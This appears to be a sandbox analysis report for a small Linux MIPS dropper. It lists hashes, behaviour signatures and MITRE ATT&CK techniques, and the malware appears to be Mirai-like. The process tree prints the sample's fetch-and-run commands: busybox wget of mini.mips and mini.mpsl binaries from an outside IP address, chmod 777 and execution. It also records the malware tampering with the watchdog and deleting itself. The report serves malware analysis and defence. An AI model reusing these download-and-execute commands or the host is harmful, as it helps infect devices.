d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447

Analysis

max time kernel
143s
max time network
146s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
18/08/2026, 03:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
Size 1KB
Sample260818-dps8gsfb38
SHA256 d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
MD5 7ecd06307fb14550dbfc81ba35e3761f
SHA1 a775bc582d340e314b6c903d6426569932931687
SHA512 677a5b8d613597d24dbce74f362f2f714673bd22ba8321ae93b7baa4ef4dcad9432ac3efc0000dbc9c7fe7d69e9dfc5573309bc6746557d4795a0bfd9bdc5443
TLSH
T13431EDEEFCE29530B78DA83FA22C718076C3045B1458EC4CB04EBD215F2CCA5785513A
MD5 SHA1 SHA512 TLSH

Score

9^/10

defense_evasion discovery

Malware Config

Signatures

Detects suspicious XORed keyword - Mozilla/5.0 2 IoCs

resource	yara_rule
behavioral4/files/fstream-1.dat	SUSP_XORed_Mozilla
behavioral4/files/fstream-2.dat	SUSP_XORed_Mozilla

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
766	chmod
756	chmod

Deletes itself 2 IoCs

pid	Process
767	d
768	d

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/d	757	d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
/tmp/d	767	d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	d
File opened for modification	/dev/misc/watchdog	d

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	httpd	767	d

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
731	busybox

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/d	d
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/d	busybox

/tmp/d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
/tmp/d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
1⤵
- Executes dropped EXE
PID:724
- /bin/uname
  uname -m
  2⤵
  PID:727
- /bin/rm
  rm -f d
  2⤵
  PID:729
- /bin/busybox
  busybox wget -O d http://31.77.227.102/d/mini.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:731
- /usr/bin/wc
  wc -c
  2⤵
  PID:755
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/d
  ./d vitek
  2⤵
  PID:757
- /bin/rm
  rm -f d
  2⤵
  PID:759
- /bin/rm
  rm -f d
  2⤵
  PID:760
- /bin/rm
  rm -f d
  2⤵
  PID:761
- /bin/busybox
  busybox wget -O d http://31.77.227.102/d/mini.mpsl
  2⤵
  - Writes file to tmp directory
  PID:763
- /usr/bin/wc
  wc -c
  2⤵
  PID:765
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/d
  ./d vitek
  2⤵
  - Deletes itself
  - Modifies Watchdog functionality
  - Changes its process name
  - Writes file to tmp directory
  PID:767

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/d
Size 57KB
SHA256 0ba0e8e3bf15c34d15d067c6f4dfb76df18f4ad523b301a4feaed7f0c358baa3
MD5 86a1fd79d1ce28595c0fb25e89ef455d
SHA1 75d424fe748ebc519dd254c71709de85bb5b36d7
SHA512 73d494060b3aff0cff22bdef2fd83493a74f2d9e49776437df5bb2b589b37c9f45a7ad7b275e8dbf9473c55fa9fc59a03039b7de6f900be8963f9b9e59a20ef9
SSDEEP 768:kiRhIE1tpds3wIKbOt/EvIw1G9GE9mBZsQk9MNUdf+Ccg2oTJ3zsfJPzs7sVoV9:kiR5fs3XJEAw1GObHCc7oTOhPZu
TLSH
T1BB43294B7321CF82C768EA3403B388166ABE17A116D2D486E76DEE417B6534C641FFA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/d
Size 57KB
SHA256 d404ba1f55b5fa3512943e8aa8acca3a3daf164d965fa88db69813cf57856393
MD5 2bd3fd6d8ca8d6066df44e09cdf526ed
SHA1 9d8aa4378f354e216e616c7c3fe9a517bac9f21f
SHA512 dd1a2705e9c33b948db38e1320e8cbf09c6c278528e650dfba6271f50cefe3d4d3dd813ff6ee0de1c406db530b69c7cbb61da4283b1bff9ddc38b203f9843b89
SSDEEP 768:a+Vkk4u2xXSZ8S5PjtKCKES+dezHfAh1eOOwC5vD9ZZmtVhRbKgsVJd:n34u2xXU5wCKESwsHfAs9kfbOz
TLSH
T15D43294AAEA10FDBC42FCA70071E170715AC4DAE96E2633592BCDC4879EE34547E3D98
MD5 SHA1 SHA512 SSDEEP TLSH